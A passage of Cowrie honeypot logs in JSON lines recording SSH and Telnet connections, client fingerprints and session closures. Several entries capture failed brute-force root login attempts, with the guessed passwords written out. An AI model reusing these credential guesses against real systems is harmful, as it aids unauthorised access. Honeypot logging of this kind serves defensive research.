a-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:33.989096Z","src_ip":"213.209.159.158","session":"7fe667dd965f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0031840801239,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:35.615556Z","src_ip":"152.42.224.71","session":"13c019e90f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.202.252","src_port":45876,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae6711a623f5","protocol":"telnet","message":"New connection: 68.183.202.252:45876 (10.17.0.5:23) [session: ae6711a623f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:36.129492Z"}
{"eventid":"cowrie.session.closed","duration":39.35882234573364,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:37.610536Z","src_ip":"152.42.224.71","session":"ec5e0483b718","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root-12","message":"login attempt [root/root-12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:44.021538Z","src_ip":"213.209.159.158","session":"7fe667dd965f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"39571a3ffb0c","protocol":"telnet","message":"New connection: 152.42.224.71:33298 (10.17.0.5:23) [session: 39571a3ffb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:46.135941Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33302,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9fbcf078a0","protocol":"telnet","message":"New connection: 152.42.224.71:33302 (10.17.0.5:23) [session: fa9fbcf078a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:47.120422Z"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:47.338854Z","src_ip":"213.209.159.158","session":"7fe667dd965f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33152,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b96815804c3","protocol":"ssh","message":"New connection: 213.209.159.158:33152 (10.17.0.5:22) [session: 4b96815804c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:47.417716Z"}
{"eventid":"cowrie.session.closed","duration":41.34403920173645,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:47.489465Z","src_ip":"152.42.224.71","session":"b823d5cf7e8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84391665458679,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:49.229531Z","src_ip":"152.42.224.71","session":"7c6fd7a18cf9","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:49.698814Z","src_ip":"213.209.159.158","session":"4b96815804c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:49.702324Z","src_ip":"213.209.159.158","session":"4b96815804c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.034097909927368,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:52.566793Z","src_ip":"152.42.224.71","session":"8584bb45bf89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.30076766014099,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:53.215912Z","src_ip":"152.42.224.71","session":"d9578c8a8cc8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root=1234","message":"login attempt [root/Root=1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:59.584008Z","src_ip":"213.209.159.158","session":"4b96815804c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45326,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe97dbd6c94","protocol":"telnet","message":"New connection: 152.42.224.71:45326 (10.17.0.5:23) [session: cbe97dbd6c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:59.968594Z"}
{"eventid":"cowrie.session.closed","duration":55.33100247383118,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:00.583043Z","src_ip":"152.42.224.71","session":"b0f41ce784d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45328,"dst_ip":"10.17.0.5","dst_port":23,"session":"70930484af29","protocol":"telnet","message":"New connection: 152.42.224.71:45328 (10.17.0.5:23) [session: 70930484af29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:02.273240Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:02.704556Z","src_ip":"213.209.159.158","session":"4b96815804c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45330,"dst_ip":"10.17.0.5","dst_port":23,"session":"f88a3a4a670a","protocol":"telnet","message":"New connection: 152.42.224.71:45330 (10.17.0.5:23) [session: f88a3a4a670a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:02.747629Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26642,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6fe0afd7764","protocol":"ssh","message":"New connection: 213.209.159.158:26642 (10.17.0.5:22) [session: f6fe0afd7764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:02.803521Z"}
{"eventid":"cowrie.session.closed","duration":120.00121450424194,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:02.924779Z","src_ip":"152.42.224.71","session":"56c452425183","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:05.455792Z","src_ip":"213.209.159.158","session":"f6fe0afd7764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:05.460075Z","src_ip":"213.209.159.158","session":"f6fe0afd7764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":56262,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6968b5a17d2","protocol":"ssh","message":"New connection: 101.36.108.213:56262 (159.203.135.109:22) [session: a6968b5a17d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:09.260124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:09.265745Z","src_ip":"101.36.108.213","session":"a6968b5a17d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:09.480819Z","src_ip":"101.36.108.213","session":"a6968b5a17d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456789","message":"login attempt [root/Qq@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:10.379065Z","src_ip":"101.36.108.213","session":"a6968b5a17d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:11.598367Z","src_ip":"101.36.108.213","session":"a6968b5a17d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rOOt123!","message":"login attempt [root/rOOt123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:15.288959Z","src_ip":"213.209.159.158","session":"f6fe0afd7764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36652,"dst_ip":"10.17.0.5","dst_port":23,"session":"86b936dfaf03","protocol":"telnet","message":"New connection: 152.42.224.71:36652 (10.17.0.5:23) [session: 86b936dfaf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:17.091517Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36658,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d24b6273bca","protocol":"telnet","message":"New connection: 152.42.224.71:36658 (10.17.0.5:23) [session: 7d24b6273bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:18.982982Z"}
{"eventid":"cowrie.session.closed","duration":37.31766414642334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:24.437956Z","src_ip":"152.42.224.71","session":"fa9fbcf078a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00171065330505,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:24.627362Z","src_ip":"152.42.224.71","session":"3be434434254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38104,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdd80c627cca","protocol":"telnet","message":"New connection: 152.42.224.71:38104 (10.17.0.5:23) [session: fdd80c627cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:27.305329Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38110,"dst_ip":"10.17.0.5","dst_port":23,"session":"7246f95116e0","protocol":"telnet","message":"New connection: 152.42.224.71:38110 (10.17.0.5:23) [session: 7246f95116e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:29.095424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38114,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f72436db01","protocol":"telnet","message":"New connection: 152.42.224.71:38114 (10.17.0.5:23) [session: a2f72436db01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:29.988728Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":33244,"dst_ip":"10.17.0.5","dst_port":22,"session":"69bc8a6b658a","protocol":"ssh","message":"New connection: 193.228.128.84:33244 (10.17.0.5:22) [session: 69bc8a6b658a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:30.500852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:30.507272Z","src_ip":"193.228.128.84","session":"69bc8a6b658a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:30.610312Z","src_ip":"193.228.128.84","session":"69bc8a6b658a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t123456","message":"login attempt [root/t123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:30.921222Z","src_ip":"193.228.128.84","session":"69bc8a6b658a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.18661642074585,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:31.315987Z","src_ip":"68.183.202.252","session":"ae6711a623f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:32.027190Z","src_ip":"193.228.128.84","session":"69bc8a6b658a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.247488021850586,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:33.215959Z","src_ip":"152.42.224.71","session":"cbe97dbd6c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.10979533195496,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:33.468683Z","src_ip":"152.42.224.71","session":"3321fda07720","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.296183347702026,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:34.391464Z","src_ip":"152.42.224.71","session":"7246f95116e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.943239212036133,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:35.931839Z","src_ip":"152.42.224.71","session":"a2f72436db01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.45651769638062,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:36.192373Z","src_ip":"152.42.224.71","session":"e50473cf9aac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50690,"dst_ip":"159.203.135.109","dst_port":22,"session":"c98cc615707f","protocol":"ssh","message":"New connection: 103.172.78.219:50690 (159.203.135.109:22) [session: c98cc615707f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:36.512800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:36.517536Z","src_ip":"103.172.78.219","session":"c98cc615707f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42240,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a81c728f4c","protocol":"telnet","message":"New connection: 152.42.224.71:42240 (10.17.0.5:23) [session: a1a81c728f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:36.537608Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:36.780821Z","src_ip":"103.172.78.219","session":"c98cc615707f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjk","message":"login attempt [root/gfhjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:37.586009Z","src_ip":"103.172.78.219","session":"c98cc615707f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42242,"dst_ip":"10.17.0.5","dst_port":23,"session":"48ba54f50c5d","protocol":"telnet","message":"New connection: 152.42.224.71:42242 (10.17.0.5:23) [session: 48ba54f50c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:37.884118Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:38.850931Z","src_ip":"103.172.78.219","session":"c98cc615707f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00504684448242,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:42.610087Z","src_ip":"152.42.224.71","session":"fb2b771dd6da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.69624042510986,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:42.969354Z","src_ip":"152.42.224.71","session":"70930484af29","protocol":"telnet"}
